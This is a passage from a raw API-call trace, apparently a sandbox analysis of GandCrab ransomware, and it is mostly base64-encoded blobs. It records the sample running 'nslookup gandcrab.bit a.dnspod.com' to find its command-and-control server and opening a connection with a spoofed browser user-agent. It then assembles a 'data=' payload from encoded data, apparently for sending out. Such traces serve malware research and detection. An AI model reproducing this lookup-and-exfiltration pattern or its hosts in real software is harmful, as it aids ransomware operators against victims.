dhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.377] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x26f0000, cbMultiByte=-1, lpWideCharStr=0x840000, cchWideChar=5792 | out: lpWideCharStr="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") returned 0 [0128.377] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x1, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0128.377] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x2700000 [0128.378] lstrlenW (lpString="") returned 0 [0128.378] VirtualAlloc (lpAddress=0x0, dwSize=0x2, flAllocationType=0x3000, flProtect=0x4) returned 0x2710000 [0128.378] CreatePipe (in: hReadPipe=0x412b0c, hWritePipe=0x412b08, lpPipeAttributes=0x19f834, nSize=0x0 | out: hReadPipe=0x412b0c*=0x3c4, hWritePipe=0x412b08*=0x4b0) returned 1 [0128.378] SetHandleInformation (hObject=0x3c4, dwMask=0x1, dwFlags=0x0) returned 1 [0128.378] CreatePipe (in: hReadPipe=0x412b04, hWritePipe=0x412b10, lpPipeAttributes=0x19f834, nSize=0x0 | out: hReadPipe=0x412b04*=0x4b4, hWritePipe=0x412b10*=0x4b8) returned 1 [0128.378] SetHandleInformation (hObject=0x4b8, dwMask=0x1, dwFlags=0x0) returned 1 [0128.378] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="nslookup gandcrab.bit a.dnspod.com", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19f784*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4b4, hStdOutput=0x4b0, hStdError=0x4b0), lpProcessInformation=0x19f7c8 | out: lpCommandLine="nslookup gandcrab.bit a.dnspod.com", lpProcessInformation=0x19f7c8*(hProcess=0x4c0, hThread=0x4bc, dwProcessId=0xba8, dwThreadId=0xb70)) returned 1 [0128.387] CloseHandle (hObject=0x4c0) returned 1 [0128.387] CloseHandle (hObject=0x4bc) returned 1 [0128.387] ReadFile (in: hFile=0x3c4, lpBuffer=0x19e81c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19f81c, lpOverlapped=0x0 | out: lpBuffer=0x19e81c*, lpNumberOfBytesRead=0x19f81c*=0x93, lpOverlapped=0x0) returned 1 [0131.108] lstrlenA (lpString="Address:") returned 8 [0131.108] lstrcpyA (in: lpString1=0x2710000, lpString2="78.155.206.6" | out: lpString1="78.155.206.6") returned="78.155.206.6" [0131.108] lstrcmpiA (lpString1="78.155.206.6", lpString2="127.0.0.1") returned 1 [0131.108] wsprintfW (in: param_1=0x2700000, param_2="%S" | out: param_1="78.155.206.6") returned 12 [0131.108] VirtualFree (lpAddress=0x2710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.108] lstrlenA (lpString="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") returned 5792 [0131.108] VirtualAlloc (lpAddress=0x0, dwSize=0x3141, flAllocationType=0x3000, flProtect=0x40) returned 0x2710000 [0131.108] VirtualAlloc (lpAddress=0x0, dwSize=0x2801, flAllocationType=0x3000, flProtect=0x40) returned 0x2720000 [0131.109] lstrcatA (in: lpString1="", lpString2="data=" | out: lpString1="data=") returned="data=" [0131.109] lstrcatA (in: lpString1="data=", lpString2="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EYZuJdnHDIAlZKhTotgoFLGrsr5yCGg6J5+KaNeCEQ18DNCargANkJuqdiGSoVQuv3lyKi3mUjTYins9w6xLz2HvYczyRRnQxdRjnD1T94fe2IYRq4vDVsjDDMklXza/m5c2HtwVzc+JR39oZ9QD9O4UyGn/9434wg/tHbejo/TsiP9/TxcMLDcIY8C0GSvTm4i/67LRtotkktBeWJXKwSJPQAcNCtbiY37If9/tFNUgJ7xln/0EeguBl+mG6Cw8m8ZyvECKyF+N1IlW0hBjQfeoUHRQUqZCfNLuCG8wSg0uLyuz3aW/37wXtHnlMq0vWIIOaPuqeNDXs82bvKXpoKRmVrolZxBnmOthOcn4U/tEX8qh4Ku5r2GvOxI8E9B1KAkJ6cURKbp9MqxybzBONVQSIr/TflDhuVF